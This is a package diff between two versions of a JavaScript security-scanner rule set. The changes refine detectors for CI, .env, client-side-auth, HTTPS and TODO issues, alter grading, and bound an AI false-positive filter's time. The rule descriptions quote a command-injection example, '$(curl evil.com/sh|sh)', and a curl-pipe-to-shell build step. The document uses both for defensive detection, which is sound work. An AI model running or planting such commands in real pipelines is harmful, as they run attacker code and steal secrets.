xploitscan-shared-rules 2.1.1 → 2.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.js CHANGED
@@ -260,7 +260,7 @@ var RULE_IMPACTS = {
260
260
  VC184: "pull_request_target with a checkout of the PR head is the canonical critical CI vulnerability \u2014 any forked PR can run code (install scripts, lint hooks, build steps) with your repo's write tokens and every secret in your environment, leading to repo takeover and secret exfiltration.",
261
261
  VC185: "permissions: write-all gives every step in the workflow full repo, packages, and deployments write access. A single compromised action \u2014 direct or transitive \u2014 can push commits, alter releases, and steal every secret the job has access to.",
262
262
  VC186: "A malicious PR title or commit message containing $(curl evil.com/sh|sh) gets executed as shell on your runner with your repo's secrets \u2014 same root cause as SQL injection, just in a CI context.",
263
- VC187: "Passing repo secrets via with: hands them to the action's source code and every dependency it pulls. The 2025 tj-actions/changed-files compromise stole CI secrets exactly this way; minimize what you pass and prefer pinning by SHA.",
263
+ VC187: "Passing repo secrets to a third-party action (through with:, the step's env:, or a reusable workflow's secrets:) hands them to its source code and every dependency it pulls. The 2025 tj-actions/changed-files compromise stole CI secrets exactly this way; minimize what you pass and prefer pinning by SHA.",
264
264
  VC188: "ADD auto-extracts archives and fetches URLs without integrity checks \u2014 both are foot-guns. Auto-extraction enables zip-slip; URL fetches break reproducibility and fetch whatever the upstream server hands back, even if compromised.",
265
265
  VC189: "RUN curl ... | sh executes whatever the upstream server returns at build time \u2014 no checksum, no pin. A compromise of the install host (or a subdomain takeover) bakes attacker code into your image with no audit trail.",
266
266
  VC190: "Without HEALTHCHECK, an orchestrator can't tell that a deadlocked or DB-pool-exhausted container is broken \u2014 it stays in the load balancer rotation serving 500s to users until a human notices and intervenes.",
@@ -390,6 +390,15 @@ var NON_APP_PATH_PATTERNS = [
390
390
  "**/vendor/**",
391
391
  "**/vendored/**",
392
392
  "**/third_party/**",
393
+ // Hyphen, closed, and plural spellings. `third_party` alone left
394
+ // `third-party/licenses/*.spdx.json` in the grade.
395
+ "**/third-party/**",
396
+ "**/thirdparty/**",
397
+ "**/third_parties/**",
398
+ "**/third-parties/**",
399
+ "**/3rd_party/**",
400
+ "**/3rd-party/**",
401
+ "**/3rdparty/**",
393
402
  "**/generated/**",
394
403
  "**/__generated__/**"
395
404
  ];
@@ -1902,7 +1911,7 @@ var exposedEnvFile = {
1902
1911
  category: "Secrets",
1903
1912
  description: ".env files containing secrets may be committed to version control.",
1904
1913
  check(content, filePath) {
1905
- if (!filePath.match(/\.env(?:\.[a-z]+)?$/) || filePath.includes("example")) return [];
1914
+ if (!filePath.match(/\.env(?:\.[a-z]+)?$/) || filePath.includes("example") || /\.env\.(?:sample|template)$/.test(filePath)) return [];
1906
1915
  const hasSecrets = /(?:KEY|SECRET|TOKEN|PASSWORD|PRIVATE|DATABASE_URL)\s*=/i.test(content);
1907
1916
  if (!hasSecrets) return [];
1908
1917
  return [{
@@ -2906,6 +2915,116 @@ var corsWildcard = {
2906
2915
  return matches;
2907
2916
  }
2908
2917
  };
2918
+ function firstAtOrAfter(sorted, x) {
2919
+ let lo = 0, hi = sorted.length;
2920
+ while (lo < hi) {
2921
+ const mid = lo + hi >>> 1;
2922
+ if (sorted[mid] < x) lo = mid + 1;
2923
+ else hi = mid;
2924
+ }
2925
+ return lo;
2926
+ }
2927
+ function vc010RoleTests(content, vue) {
2928
+ const out = [];
2929
+ const candidate = /isadmin|role/gi;
2930
+ const roleEq = vue ? /role\s*===?\s*'admin'/iy : /role\s*===?\s*["'`]admin["'`]/iy;
2931
+ for (let m = candidate.exec(content); m !== null; m = candidate.exec(content)) {
2932
+ const q = m.index;
2933
+ if (m[0].length === 7) {
2934
+ out.push({ start: q, end: q + 7 });
2935
+ continue;
2936
+ }
2937
+ if (!vue && q >= 5 && content.slice(q - 5, q).toLowerCase() === "user.") {
2938
+ out.push({ start: q - 5, end: q + 4 });
2939
+ }
2940
+ roleEq.lastIndex = q;
2941
+ if (roleEq.test(content)) out.push({ start: q, end: roleEq.lastIndex });
2942
+ }
2943
+ return out;
2944
+ }
2945
+ function vc010LineEnd(content) {
2946
+ const breaks = [];
2947
+ for (let i = 0; i < content.length; i++) {
2948
+ const c = content.charCodeAt(i);
2949
+ if (c === 10 || c === 13 || c === 8232 || c === 8233) breaks.push(i);
2950
+ }
2951
+ return (x) => {
2952
+ const i = firstAtOrAfter(breaks, x);
2953
+ return i < breaks.length ? breaks[i] : content.length;
2954
+ };
2955
+ }
2956
+ function vc010JsxGateStarts(content) {
2957
+ const tests = vc010RoleTests(content, false);
2958
+ if (tests.length === 0) return [];
2959
+ const lineEnd = vc010LineEnd(content);
2960
+ const ands = [];
2961
+ for (let a = content.indexOf("&&"); a !== -1; a = content.indexOf("&&", a + 1)) ands.push(a);
2962
+ const starts = [];
2963
+ let pos = 0;
2964
+ let lo = 0;
2965
+ for (; ; ) {
2966
+ const open = content.indexOf("{", pos);
2967
+ if (open === -1) break;
2968
+ const end = lineEnd(open);
2969
+ while (lo < tests.length && tests[lo].start <= open) lo++;
2970
+ let hi = lo;
2971
+ while (hi < tests.length && tests[hi].start < end) hi++;
2972
+ let matchEnd = -1;
2973
+ for (let k = hi - 1; k >= lo && matchEnd === -1; k--) {
2974
+ const e = tests[k].end;
2975
+ const i = firstAtOrAfter(ands, lineEnd(e) - 1) - 1;
2976
+ if (i >= 0 && ands[i] >= e) matchEnd = ands[i] + 2;
2977
+ }
2978
+ if (matchEnd === -1) {
2979
+ pos = end + 1;
2980
+ continue;
2981
+ }
2982
+ starts.push(open);
2983
+ pos = matchEnd;
2984
+ }
2985
+ return starts;
2986
+ }
2987
+ function vc010VueGateStarts(content) {
2988
+ const tests = vc010RoleTests(content, true);
2989
+ if (tests.length === 0) return [];
2990
+ const testStarts = tests.map((t) => t.start);
2991
+ const lineEnd = vc010LineEnd(content);
2992
+ const vIf = /v-if/gi;
2993
+ const attr = /v-if\s*=\s*["'`]/iy;
2994
+ const starts = [];
2995
+ for (let m = vIf.exec(content); m !== null; m = vIf.exec(content)) {
2996
+ attr.lastIndex = m.index;
2997
+ if (!attr.test(content)) continue;
2998
+ const valueStart = attr.lastIndex;
2999
+ const end = lineEnd(valueStart);
3000
+ const k = firstAtOrAfter(testStarts, end) - 1;
3001
+ if (k < 0 || tests[k].start < valueStart) continue;
3002
+ starts.push(m.index);
3003
+ vIf.lastIndex = tests[k].end;
3004
+ }
3005
+ return starts;
3006
+ }
3007
+ function vc010Findings(content, filePath, starts, fix) {
3008
+ const out = [];
3009
+ let scanned = 0;
3010
+ let line = 1;
3011
+ for (const index of starts) {
3012
+ if (isCommentLine(content, index) || isInsideFixMessage(content, index)) continue;
3013
+ for (; scanned < index; scanned++) if (content.charCodeAt(scanned) === 10) line++;
3014
+ out.push({
3015
+ rule: clientSideAuth.id,
3016
+ title: clientSideAuth.title,
3017
+ severity: clientSideAuth.severity,
3018
+ category: clientSideAuth.category,
3019
+ file: filePath,
3020
+ line,
3021
+ snippet: getSnippet(content, line),
3022
+ fix
3023
+ });
3024
+ if (out.length >= 500) break;
3025
+ }
3026
+ return out;
3027
+ }
2909
3028
  var clientSideAuth = {
2910
3029
  id: "VC010",
2911
3030
  title: "Client-Side Only Authorization",
@@ -2914,25 +3033,13 @@ var clientSideAuth = {
2914
3033
  description: "Hiding UI elements based on roles without server-side checks lets attackers bypass restrictions using DevTools.",
2915
3034
  check(content, filePath) {
2916
3035
  if (!filePath.match(/\.(jsx|tsx|vue|svelte)$/)) return [];
2917
- const matches = [];
2918
- const rolePatterns = [
2919
- /\{.*(?:isAdmin|role\s*===?\s*["'`]admin["'`]|user\.role).*&&/gi,
2920
- /v-if\s*=\s*["'`].*(?:isAdmin|role\s*===?\s*'admin')/gi
3036
+ if (/getServerSession|(?<!\.auth\.)getUser|server|api\/auth|middleware|\bawait\s+auth\s*\(\s*\)(?!\s*\.)/i.test(content)) return [];
3037
+ if (/\bexport\s+default\s+async\s+function\b|\basync\s+function\s+[A-Z]\w*\s*\(|\bconst\s+[A-Z]\w*\s*(?::[^=\n]{1,80})?=\s*async\s*\(|\bexport\s+(?:async\s+function|const)\s+(?:loader|action)\b|["']next\/headers["']|\bclerkClient\b|firebase-admin/.test(content)) return [];
3038
+ const fix = "Client-side role checks only hide UI \u2014 they don't prevent access. Always verify permissions on the server/API side too.";
3039
+ return [
3040
+ ...vc010Findings(content, filePath, vc010JsxGateStarts(content), fix),
3041
+ ...vc010Findings(content, filePath, vc010VueGateStarts(content), fix)
2921
3042
  ];
2922
- for (const pattern of rolePatterns) {
2923
- const hasServerCheck = /getServerSession|getUser|server|api\/auth|middleware/i.test(content);
2924
- if (hasServerCheck) continue;
2925
- matches.push(
2926
- ...findMatches(
2927
- content,
2928
- pattern,
2929
- clientSideAuth,
2930
- filePath,
2931
- () => "Client-side role checks only hide UI \u2014 they don't prevent access. Always verify permissions on the server/API side too."
2932
- )
2933
- );
2934
- }
2935
- return matches;
2936
3043
  }
2937
3044
  };
2938
3045
  var PUBLIC_ENV_FIX = {
@@ -3002,6 +3109,7 @@ var envNotGitignored = {
3002
3109
  description: "If .env is not listed in .gitignore, secrets will be committed to version control.",
3003
3110
  check(content, filePath) {
3004
3111
  if (!filePath.endsWith(".gitignore")) return [];
3112
+ if (/(?:^|\/)(?:android|ios)\//.test(filePath)) return [];
3005
3113
  if (/\.env/i.test(content)) return [];
3006
3114
  return [{
3007
3115
  rule: "VC014",
@@ -3256,10 +3364,13 @@ var missingHTTPS = {
3256
3364
  category: "Configuration",
3257
3365
  description: "Hardcoded http:// URLs (other than localhost and private-network addresses) send data unencrypted, exposing it to man-in-the-middle attacks.",
3258
3366
  check(content, filePath) {
3259
- if (filePath.endsWith(".example") || filePath.includes("test") || filePath.includes("README")) return [];
3367
+ const baseName = filePath.slice(filePath.lastIndexOf("/") + 1);
3368
+ const isTestPath = /(?:^|\/)(?:__tests__|tests?|testdata|testing|test[-_]?(?:utils?|helpers?|support))\//i.test(filePath) || /^(?:tests?(?![a-z])|conftest\.py$|setupTests\.)|[._-]tests?\.\w+$|\.spec\.\w+$|_spec\.rb$/.test(baseName);
3369
+ if (filePath.endsWith(".example") || isTestPath || filePath.includes("README")) return [];
3260
3370
  if (filePath.match(/\.(md|txt)$/)) return [];
3261
3371
  const matches = [];
3262
- if (/<!DOCTYPE|xmlns|\.dtd|\.xsd/i.test(content) && !/fetch|axios|request|http\.get/i.test(content)) return [];
3372
+ const isScriptFile = /\.(?:[cm]?[jt]sx?|vue|svelte)$/i.test(filePath);
3373
+ if (!isScriptFile && /<!DOCTYPE|xmlns|\.dtd|\.xsd/i.test(content) && !/fetch|axios|request|http\.get/i.test(content)) return [];
3263
3374
  const httpPattern = /["'`]http:\/\/(?!localhost|127\.0\.0\.1|0\.0\.0\.0|192\.168\.|10\.|172\.(?:1[6-9]|2\d|3[01])\.|www\.w3\.org|www\.apple\.com\/DTDs|schemas?\.|xml\.org|purl\.org|ns\.adobe|xmlpull\.org|java\.sun\.com)[^"'`\s]+["'`]/g;
3264
3375
  const rawMatches = findMatches(
3265
3376
  content,
@@ -3268,11 +3379,10 @@ var missingHTTPS = {
3268
3379
  filePath,
3269
3380
  () => "Use https:// instead of http:// for all production URLs. Add HSTS header: Strict-Transport-Security: max-age=31536000; includeSubDomains"
3270
3381
  );
3382
+ const lines = rawMatches.length > 0 ? content.split("\n") : [];
3271
3383
  for (const rm of rawMatches) {
3272
- const lineStart = content.lastIndexOf("\n", content.split("\n").slice(0, rm.line - 1).join("\n").length) + 1;
3273
- const lineEnd = content.indexOf("\n", lineStart + 1);
3274
- const matchText = content.substring(lineStart, lineEnd === -1 ? content.length : lineEnd);
3275
- if (/DTD|DOCTYPE|w3\.org|apple\.com\/DTDs/i.test(matchText)) continue;
3384
+ const matchText = lines[rm.line - 1] ?? "";
3385
+ if (/DTD|DOCTYPE|w3\.org|apple\.com\/DTDs|\bxmlns[\w:-]*\s*=/i.test(matchText)) continue;
3276
3386
  matches.push(rm);
3277
3387
  }
3278
3388
  return matches;
@@ -3428,6 +3538,7 @@ var missingLockFile = {
3428
3538
  description: "Without a lockfile (package-lock.json, pnpm-lock.yaml, yarn.lock), dependency versions are unpinned and vulnerable to supply chain attacks via version substitution.",
3429
3539
  check(content, filePath) {
3430
3540
  if (!filePath.endsWith(".gitignore")) return [];
3541
+ if (/^[ \t]*![^\n]*(?:package-lock\.json|pnpm-lock\.yaml|yarn\.lock)/im.test(content)) return [];
3431
3542
  const ignoresLock = /package-lock\.json|pnpm-lock\.yaml|yarn\.lock/i.test(content);
3432
3543
  if (ignoresLock) {
3433
3544
  return findMatches(
@@ -3604,6 +3715,44 @@ function detectPlatform(files) {
3604
3715
  }
3605
3716
  return [...platforms];
3606
3717
  }
3718
+ var GRADE_FINDINGS_PER_RULE = 3;
3719
+ var GRADE_SEVERITY_RANK = {
3720
+ critical: 4,
3721
+ high: 3,
3722
+ medium: 2,
3723
+ low: 1,
3724
+ info: 0
3725
+ };
3726
+ function gradeRuleFamily(finding) {
3727
+ const rule = (finding.rule ?? "").trim();
3728
+ if (rule === "ENTROPY" || rule.startsWith("ENTROPY-")) return "ENTROPY";
3729
+ if (rule) return rule;
3730
+ const id = finding.id ?? "";
3731
+ if (id === "ENTROPY" || id.startsWith("ENTROPY-")) return "ENTROPY";
3732
+ return id || "unknown";
3733
+ }
3734
+ function isDeductingSeverity(severity) {
3735
+ return severity === "critical" || severity === "high" || severity === "medium" || severity === "low";
3736
+ }
3737
+ function findingsCountedTowardGrade(findings) {
3738
+ const groups = /* @__PURE__ */ new Map();
3739
+ findings.forEach((item, index) => {
3740
+ const key = gradeRuleFamily(item);
3741
+ const bucket = groups.get(key);
3742
+ const entry = { item, index };
3743
+ if (bucket) bucket.push(entry);
3744
+ else groups.set(key, [entry]);
3745
+ });
3746
+ const counted = [];
3747
+ for (const bucket of groups.values()) {
3748
+ const ranked = bucket.length <= GRADE_FINDINGS_PER_RULE ? bucket : [...bucket].sort((a, b) => {
3749
+ const bySeverity = (GRADE_SEVERITY_RANK[b.item.severity ?? ""] ?? 0) - (GRADE_SEVERITY_RANK[a.item.severity ?? ""] ?? 0);
3750
+ return bySeverity !== 0 ? bySeverity : a.index - b.index;
3751
+ }).slice(0, GRADE_FINDINGS_PER_RULE);
3752
+ for (const entry of ranked) counted.push(entry.item);
3753
+ }
3754
+ return counted;
3755
+ }
3607
3756
  function calculateGrade(findings, _totalFiles, options = {}) {
3608
3757
  const scored = options.gradeVendored ? findings : findings.filter((f) => !isVendoredFinding(f));
3609
3758
  const ungraded = findings.length - scored.length;
@@ -3616,13 +3765,22 @@ function calculateGrade(findings, _totalFiles, options = {}) {
3616
3765
  ungraded
3617
3766
  };
3618
3767
  }
3768
+ const counted = findingsCountedTowardGrade(scored);
3619
3769
  let critical = 0, high = 0, medium = 0, low = 0;
3620
- for (const f of scored) {
3770
+ for (const f of counted) {
3621
3771
  if (f.severity === "critical") critical++;
3622
3772
  else if (f.severity === "high") high++;
3623
3773
  else if (f.severity === "medium") medium++;
3624
3774
  else if (f.severity === "low") low++;
3625
3775
  }
3776
+ let rawCritical = 0, rawHigh = 0, rawMedium = 0, rawLow = 0;
3777
+ for (const f of scored) {
3778
+ if (f.severity === "critical") rawCritical++;
3779
+ else if (f.severity === "high") rawHigh++;
3780
+ else if (f.severity === "medium") rawMedium++;
3781
+ else if (f.severity === "low") rawLow++;
3782
+ }
3783
+ const omitted = scored.filter((f) => isDeductingSeverity(f.severity)).length - counted.filter((f) => isDeductingSeverity(f.severity)).length;
3626
3784
  const deductions = critical * 15 + high * 7 + medium * 3 + low * 1;
3627
3785
  const rawScore = Math.max(0, 100 - deductions);
3628
3786
  let grade;
@@ -3642,22 +3800,23 @@ function calculateGrade(findings, _totalFiles, options = {}) {
3642
3800
  else if (medium >= 5) grade = capGrade("B");
3643
3801
  else if (medium >= 1) grade = capGrade("A");
3644
3802
  let summary;
3645
- if (critical > 0) {
3646
- summary = `${critical} critical ${critical === 1 ? "vulnerability requires" : "vulnerabilities require"} immediate attention.`;
3647
- } else if (high >= 3) {
3648
- summary = `${high} high-severity issues require urgent attention.`;
3649
- } else if (high > 0) {
3650
- summary = `${high} high-severity ${high === 1 ? "issue needs" : "issues need"} attention.`;
3651
- } else if (medium >= 5) {
3652
- summary = `${medium} medium-severity issues to address.`;
3653
- } else if (medium > 0) {
3654
- summary = `Clean of critical and high issues. ${medium} medium-severity ${medium === 1 ? "issue" : "issues"} to review.`;
3655
- } else if (low > 0) {
3656
- summary = `Clean of critical, high, and medium issues. ${low} low-severity best-practice ${low === 1 ? "note" : "notes"}.`;
3803
+ if (rawCritical > 0) {
3804
+ summary = `${rawCritical} critical ${rawCritical === 1 ? "vulnerability requires" : "vulnerabilities require"} immediate attention.`;
3805
+ } else if (rawHigh >= 3) {
3806
+ summary = `${rawHigh} high-severity issues require urgent attention.`;
3807
+ } else if (rawHigh > 0) {
3808
+ summary = `${rawHigh} high-severity ${rawHigh === 1 ? "issue needs" : "issues need"} attention.`;
3809
+ } else if (rawMedium >= 5) {
3810
+ summary = `${rawMedium} medium-severity issues to address.`;
3811
+ } else if (rawMedium > 0) {
3812
+ summary = `Clean of critical and high issues. ${rawMedium} medium-severity ${rawMedium === 1 ? "issue" : "issues"} to review.`;
3813
+ } else if (rawLow > 0) {
3814
+ summary = `Clean of critical, high, and medium issues. ${rawLow} low-severity best-practice ${rawLow === 1 ? "note" : "notes"}.`;
3657
3815
  } else {
3658
3816
  summary = "No security issues detected.";
3659
3817
  }
3660
- return { grade, score: rawScore, summary: summary + holdout, ungraded };
3818
+ const capNote = omitted > 0 ? ` ${omitted} more ${omitted === 1 ? "finding was" : "findings were"} not deducted (at most ${GRADE_FINDINGS_PER_RULE} findings per rule count toward the score and the severity caps).` : "";
3819
+ return { grade, score: rawScore, summary: summary + capNote + holdout, ungraded };
3661
3820
  }
3662
3821
  var complianceMap = {
3663
3822
  VC001: { owasp: "A07:2021", cwe: "CWE-798" },
@@ -3989,7 +4148,7 @@ var consoleLogProduction = {
3989
4148
  for (let i = 0; i < lines.length; i++) {
3990
4149
  const line = lines[i].trim();
3991
4150
  if (/console\.log\s*\(/.test(line) && !line.startsWith("//") && !line.startsWith("*") && !/if\s*\(\s*(?:debug|process\.env)/i.test(lines[Math.max(0, i - 1)] + line)) {
3992
- matches.push({ rule: "VC097", title: consoleLogProduction.title, severity: "low", category: "Performance", file: filePath, line: i + 1, snippet: getSnippet(content, i + 1), fix: "Remove console.log or use a structured logger that can be disabled in production." });
4151
+ matches.push({ rule: "VC097", title: consoleLogProduction.title, severity: consoleLogProduction.severity, category: "Performance", file: filePath, line: i + 1, snippet: getSnippet(content, i + 1), fix: "Remove console.log or use a structured logger that can be disabled in production." });
3993
4152
  }
3994
4153
  }
3995
4154
  return matches.slice(0, 1);
@@ -4003,13 +4162,34 @@ var todoLeftInCode = {
4003
4162
  description: "TODO, FIXME, HACK, and XXX comments indicate unfinished work that should be resolved before shipping to production.",
4004
4163
  check(content, filePath) {
4005
4164
  if (filePath.match(/test|spec|mock|__tests__|fixture|node_modules/i)) return [];
4006
- return findMatches(
4007
- content,
4008
- /\/\/\s*(?:TODO|FIXME|HACK|XXX)\b/gi,
4009
- todoLeftInCode,
4010
- filePath,
4011
- () => "Resolve TODO/FIXME comments before shipping. If it's intentional tech debt, track it in your issue tracker instead."
4012
- ).slice(0, 5);
4165
+ if (/\.(?:md|mdx|markdown|txt)$/i.test(filePath)) return [];
4166
+ const marker = /(?<![`'":])(?:\/\/|\/\*\*?|^[ \t]*\*+)[ \t]*(?:(?:TODO|FIXME|HACK)\b|XXX(?![\w.-])|(?:[Tt]odo|[Ff]ixme)[ \t]*:|@todo\b)/gm;
4167
+ const matches = [];
4168
+ let todoDomain;
4169
+ let lastLine = 0;
4170
+ for (let m = marker.exec(content); m && matches.length < 5; m = marker.exec(content)) {
4171
+ const line = lineNumberAt(content, m.index);
4172
+ if (line === lastLine) continue;
4173
+ lastLine = line;
4174
+ if (/^[^@]*[Tt]odo[ \t]*:$/.test(m[0])) {
4175
+ const lineStart = content.lastIndexOf("\n", m.index) + 1;
4176
+ if (content.slice(lineStart, m.index).trim() === "") {
4177
+ if (todoDomain === void 0) todoDomain = /\b[Tt]odos?\b/.test(maskComments(content));
4178
+ if (todoDomain) continue;
4179
+ }
4180
+ }
4181
+ matches.push({
4182
+ rule: todoLeftInCode.id,
4183
+ title: todoLeftInCode.title,
4184
+ severity: todoLeftInCode.severity,
4185
+ category: todoLeftInCode.category,
4186
+ file: filePath,
4187
+ line,
4188
+ snippet: getSnippet(content, line),
4189
+ fix: "Resolve TODO/FIXME comments before shipping. If it's intentional tech debt, track it in your issue tracker instead."
4190
+ });
4191
+ }
4192
+ return matches;
4013
4193
  }
4014
4194
  };
4015
4195
  var emptyCatchBlock = {
@@ -4024,13 +4204,11 @@ var emptyCatchBlock = {
4024
4204
  description: "Empty catch blocks silently swallow errors, making bugs impossible to diagnose. At minimum, log the error.",
4025
4205
  check(content, filePath) {
4026
4206
  if (filePath.match(/test|spec|mock/i)) return [];
4027
- return findMatches(
4028
- content,
4029
- /catch\s*(?:\([^)]*\))?\s*\{\s*\}/g,
4030
- emptyCatchBlock,
4031
- filePath,
4032
- () => "Handle errors in catch blocks: catch(err) { console.error('Operation failed:', err); } or re-throw if appropriate."
4033
- );
4207
+ const fix = () => "Handle errors in catch blocks: catch(err) { console.error('Operation failed:', err); } or re-throw if appropriate.";
4208
+ const blocks = findMatches(content, /catch\s*(?:\([^)]{0,200}\))?\s*\{\s*\}/g, emptyCatchBlock, filePath, fix);
4209
+ const seen = new Set(blocks.map((m) => m.line));
4210
+ const promises = findMatches(content, /\.catch\s*\(\s*(?:async\s*)?(?:\(\s*[\w$]*\s*(?::\s*[\w$]+\s*)?\)|[\w$]+)\s*=>\s*\{\s*\}\s*\)/g, emptyCatchBlock, filePath, fix).filter((m) => !seen.has(m.line));
4211
+ return [...blocks, ...promises].slice(0, 500);
4034
4212
  }
4035
4213
  };
4036
4214
  var freeRules = [
@@ -4192,6 +4370,20 @@ var MAX_CONCURRENT = (() => {
4192
4370
  if (!Number.isFinite(n) || n < 1) return DEFAULT_MAX_CONCURRENT;
4193
4371
  return Math.min(n, 20);
4194
4372
  })();
4373
+ var DEFAULT_AI_FILTER_BUDGET_MS = 8e3;
4374
+ var AI_FILTER_BUDGET_MS = (() => {
4375
+ const raw = process.env.AI_FILTER_BUDGET_MS;
4376
+ if (!raw) return DEFAULT_AI_FILTER_BUDGET_MS;
4377
+ const n = parseInt(raw, 10);
4378
+ if (!Number.isFinite(n) || n < 1) return DEFAULT_AI_FILTER_BUDGET_MS;
4379
+ return Math.min(n, 6e4);
4380
+ })();
4381
+ var PER_CALL_TIMEOUT_MS = 8e3;
4382
+ function isAbortError(err) {
4383
+ if (!err || typeof err !== "object") return false;
4384
+ const name = "name" in err ? String(err.name) : "";
4385
+ return name === "AbortError" || name === "APIUserAbortError";
4386
+ }
4195
4387
  var SEVERITY_PRIORITY = {
4196
4388
  critical: 0,
4197
4389
  high: 1,
@@ -4242,10 +4434,18 @@ function parseReviewResponse(text) {
4242
4434
  return [];
4243
4435
  }
4244
4436
  }
4245
- async function filterFalsePositives(findings, fileContents) {
4437
+ async function filterFalsePositives(findings, fileContents, budgetMs = AI_FILTER_BUDGET_MS) {
4246
4438
  const empty = { findings, filteredFindings: [], aiReviewed: false, removedCount: 0, totalBefore: findings.length, unreviewedCount: 0 };
4247
4439
  if (!process.env.ANTHROPIC_API_KEY) return empty;
4248
4440
  if (findings.length === 0) return empty;
4441
+ const deadlineMs = Date.now() + Math.max(0, budgetMs);
4442
+ const abortController = new AbortController();
4443
+ let budgetExpired = budgetMs <= 0;
4444
+ if (budgetExpired) abortController.abort();
4445
+ const budgetTimer = budgetExpired ? void 0 : setTimeout(() => {
4446
+ budgetExpired = true;
4447
+ abortController.abort();
4448
+ }, budgetMs);
4249
4449
  const prioritized = [...findings].sort((a, b) => {
4250
4450
  const pa = SEVERITY_PRIORITY[(a.severity || "").toLowerCase()] ?? 5;
4251
4451
  const pb = SEVERITY_PRIORITY[(b.severity || "").toLowerCase()] ?? 5;
@@ -4281,7 +4481,13 @@ async function filterFalsePositives(findings, fileContents) {
4281
4481
  }
4282
4482
  const reviewBatch = async (task) => {
4283
4483
  const { batch, content } = task;
4484
+ if (abortController.signal.aborted || Date.now() >= deadlineMs) {
4485
+ budgetExpired = true;
4486
+ unreviewedCount += batch.length;
4487
+ return;
4488
+ }
4284
4489
  try {
4490
+ const remaining = Math.max(1, deadlineMs - Date.now());
4285
4491
  const prompt = buildReviewPrompt(batch, content);
4286
4492
  const response = await client.messages.create(
4287
4493
  {
@@ -4301,12 +4507,9 @@ async function filterFalsePositives(findings, fileContents) {
4301
4507
  system: REVIEW_SYSTEM_PROMPT,
4302
4508
  messages: [{ role: "user", content: prompt }]
4303
4509
  },
4304
- // Cap a single call well under any serverless function timeout — the
4305
- // SDK default is 10 minutes, long enough for one hung connection to
4306
- // hold a worker until the platform SIGKILLs the whole scan request
4307
- // (which would skip the graceful-degradation fallback). A timeout
4308
- // turns a stuck batch into an unreviewed batch, handled below.
4309
- { timeout: 2e4 }
4510
+ // Shared AbortController plus a per-call timeout capped at remaining
4511
+ // budget. Previously 20s with no overall deadline.
4512
+ { timeout: Math.min(PER_CALL_TIMEOUT_MS, remaining), signal: abortController.signal }
4310
4513
  );
4311
4514
  const text = response.content.filter((b) => b.type === "text").map((b) => b.text).join("");
4312
4515
  const results = parseReviewResponse(text);
@@ -4320,20 +4523,33 @@ async function filterFalsePositives(findings, fileContents) {
4320
4523
  }
4321
4524
  }
4322
4525
  } catch (err) {
4323
- failedBatches++;
4324
4526
  unreviewedCount += batch.length;
4527
+ if (isAbortError(err) || abortController.signal.aborted) {
4528
+ budgetExpired = true;
4529
+ return;
4530
+ }
4531
+ failedBatches++;
4325
4532
  if (!firstError) firstError = err;
4326
4533
  }
4327
4534
  };
4328
- let next = 0;
4329
- const workerCount = Math.min(MAX_CONCURRENT, tasks.length);
4330
- const workers = Array.from({ length: workerCount }, async () => {
4331
- while (next < tasks.length) {
4332
- const cur = next++;
4333
- await reviewBatch(tasks[cur]);
4334
- }
4335
- });
4336
- await Promise.all(workers);
4535
+ try {
4536
+ let next = 0;
4537
+ const workerCount = Math.min(MAX_CONCURRENT, tasks.length);
4538
+ const workers = Array.from({ length: workerCount }, async () => {
4539
+ while (next < tasks.length) {
4540
+ const cur = next++;
4541
+ await reviewBatch(tasks[cur]);
4542
+ }
4543
+ });
4544
+ await Promise.all(workers);
4545
+ } finally {
4546
+ if (budgetTimer) clearTimeout(budgetTimer);
4547
+ }
4548
+ if (budgetExpired && unreviewedCount > 0) {
4549
+ console.warn(
4550
+ `[ai-fp-filter] budget expired (${budgetMs}ms) \u2014 ${unreviewedCount} finding(s) not reviewed; returning them unchanged`
4551
+ );
4552
+ }
4337
4553
  if (firstError) {
4338
4554
  const msg = firstError instanceof Error ? firstError.message : String(firstError);
4339
4555
  if (!reviewedAny) {
@@ -4473,10 +4689,31 @@ var SAFE_PATTERNS = [
4473
4689
  // HTTP security-header directive values (HSTS, etc.) — `max-age=63072000;
4474
4690
  // includeSubDomains; preload`. Config strings a security scanner actively
4475
4691
  // tells users to add; never secrets.
4476
- /^max-age=\d+/i
4692
+ /^max-age=\d+/i,
4693
+ // SPDX element ids, package URLs, and URNs. SBOM and license documents are
4694
+ // full of these (`SPDXRef-Package-…`, `pkg:golang/…`, `urn:uuid:…`) and they
4695
+ // are identifiers, not credentials. The filename skip below drops whole
4696
+ // SBOM files; this catches the same strings in a file we still scan.
4697
+ /^SPDXRef-/,
4698
+ /^pkg:[a-z0-9.+-]+\//,
4699
+ /^urn:/
4477
4700
  ];
4478
4701
  var SKIP_FILES = /\.(css|scss|less|svg|md|txt|html?|xml|yml|yaml|toml|lock|map|woff2?|ttf|eot|ico|png|jpg|gif|webp)$/i;
4479
4702
  var SKIP_FILENAMES = /(?:package-lock\.json|pnpm-lock\.yaml|yarn\.lock|composer\.lock|Gemfile\.lock|Cargo\.lock|poetry\.lock|Pipfile\.lock|shrinkwrap\.json)$/i;
4703
+ var SKIP_SBOM_FILES = /(?:^|\/)(?:[^/]*\.spdx(?:\.json)?|[^/]*\.cdx\.json|[^/]*\.cdx\.xml|bom\.json|sbom[^/]*\.json|[^/]*\.sbom\.json)$/i;
4704
+ function isEntropyTestPath(filePath) {
4705
+ const normalized = filePath.replace(/\\/g, "/");
4706
+ if (/(?:\.test\.|\.spec\.|__tests__|__mocks__|fixtures?\/)/i.test(normalized)) return true;
4707
+ if (/(?:^|\/)(?:tests|spec)\//i.test(normalized)) return true;
4708
+ if (/(?:^|\/)test\//i.test(normalized) && !/(?:^|\/)routes\/test\//i.test(normalized)) return true;
4709
+ if (/(?:^|\/)[^/]+\.Tests\//.test(normalized)) return true;
4710
+ const base = normalized.split("/").pop() ?? "";
4711
+ if (/^test_.*\.py$/i.test(base)) return true;
4712
+ if (/_test\.py$/i.test(base)) return true;
4713
+ if (/^Test[A-Z_]\w*\.py$/.test(base)) return true;
4714
+ if (/_test\.go$/.test(base)) return true;
4715
+ return false;
4716
+ }
4480
4717
  var SAFE_VAR_NAMES = /(?:description|message|text|label|title|content|template|html|svg|css|style|class(?:Name)?|query|mutation|schema|regex|pattern|format|placeholder|comment|url|path|route|endpoint|href|src|alt|name|type|version|encoding|charset|chars|alphabet|locale|translation|copy|prose|markdown|slug|handle)/i;
4481
4718
